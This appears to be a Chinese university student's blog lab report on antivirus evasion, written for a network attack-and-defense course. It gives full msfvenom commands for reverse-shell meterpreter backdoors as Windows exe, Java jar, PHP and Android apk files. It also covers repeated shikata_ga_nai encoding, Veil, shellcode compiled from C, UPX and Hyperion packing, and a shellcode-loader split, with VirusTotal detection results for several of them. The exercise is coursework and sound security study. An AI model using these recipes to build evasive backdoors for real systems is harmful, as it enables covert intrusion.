2019-2020-3 20175324 王陈峤宇《网络对抗技术》Exp3 免杀原理与实践

一、实验内容

1.正确使用msf编码器

 

在实验二中使用msf生成了后门程序,使用VirusTotal网站对该后门程序进行扫描
用VirusTotal扫描后结果如下:

 

不加任何处理的后门程序在以前挺有威胁的,但是现在能够被大多数杀软检测到。

为了使后门程序能安全“潜入”,我们使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

一次编码:-e选择编码器,-b是payload中需要清除的字符,该命令中是为了使\x00'不出现在shellcode中,因为shellcode以\x00'为结束符。

输入命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.149.129 LPORT=5324 -f exe > 20175324.exe

以上是一次编码后的生成过程和检测截图,我们可以看出有了一点点改善,隐蔽了一些。

 

于是我们决定才用改进方案,十次编码:使用-i设置迭代次数

命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.149.291 LPORT=5324 -f exe > 20175324.exe

由这个检测结果可见即使进行了十次编码,对于抵抗杀软检测依然没有起到什么积极的作用。

 

这是因为msfvenom生成exe是有固定模版的,所有它生成的exe如果使用默认的参数或者模版也会具有固定的特征。

一般来说AV厂商会针对其使用的模版来生成这个特征码,这样就可以一劳永逸地解决所有msfvenom生成的恶意代码。

 

2.msfvenom生成jar文件

生成命令如下:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 x> 20175324_backdoor_java.jar

这里的隐蔽性已经提升了不少。

3.生成php后门文件

我们再使用mfsvenom生成php文件
生成PHP后门程序使用命令为:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 x> 20175324_backdoor.php

 

 

3/59的检出率已经相当低了,在我复制粘贴进主机的过程中,电脑的安全中心也未发出警告。

4.生成Android后门apk文件

生成apk后门文件的命令为:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 x> 20175324_android_backdoor.apk

 

 

感觉这个结果不尽如人意。

5.veil

下载安装完成

 

输入use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP:set LHOST 192.168.149.129(此处为KaliIP),端口:set LPORT 5324

输入generate生成文件,接着输入你想要payload的名字:veil_c_5324,如图所示,文件保存路径为:/var/lib/veil/output/compiled/veil_c_5324.exe

使用VirusTotal检测截图:

 

 

6.使用C+shellcode

生成shellco命令为:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5308 -f c

复制这段shellcode,用它新建20175324.c

使用命令i686-w64-mingw32-g++ 20175324.c -o 20175324.exe将c程序编译为可执行文件

 

这个的效果也不怎么好

7.加壳工具

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,

之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。

这里我们采用压缩壳UPX、加密壳Hyperion两种加密方式,命令如下:

upx 20175324.exe -o upxed_20175324.exe

wine hyperion.exe -v upxed_20175324.exe upxed_20175324_hyperion.exe

 

8.使用其他课堂未介绍的方法

参考优秀同学的博客后,我决定采用将shellcode和加载器分离的方法

使用msf生成shellcode,命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai

LHOST=192.168.149.129 LPORT=5308 -f raw > 5308.raw

这个raw文件杀毒工具是无法识别的

在主机上使用shellcode_launcher启动raw文件

发现回连成功

 

 

 

 

 

 

实验总结与体会

在这次实验中,我们和如今正在使用的安全系统进行了可控的攻防操作,常言道“实践出真知”,

通过这次实验,我充分认识到了自己所学知识的浅薄,如今信息安全技术飞速发展,如果不

勤勉学习,就只能被淘汰。在实验过程中,我也遇到了一些千奇百怪的困难,自己的问题只靠

咨询同学往往无法解决,别人的成功也不能完全copy,我的动手实践能力得到了极大的提升。

开启杀软能绝对防止电脑中恶意代码吗?

不能。在virustotal上检查自己制作的后门程序时我们可以发现,虽然有些后门程序隐蔽性不强,但仍然

能通过一些常用杀毒软件的检测。在病毒程序不断更新的同时,我们的杀毒软件、病毒库也必须同步更新,

不然是无法保证用户终端的安全的。

 

posted @ 2020-04-03 17:10  2017532王陈峤宇  阅读(136)  评论(0编辑  收藏  举报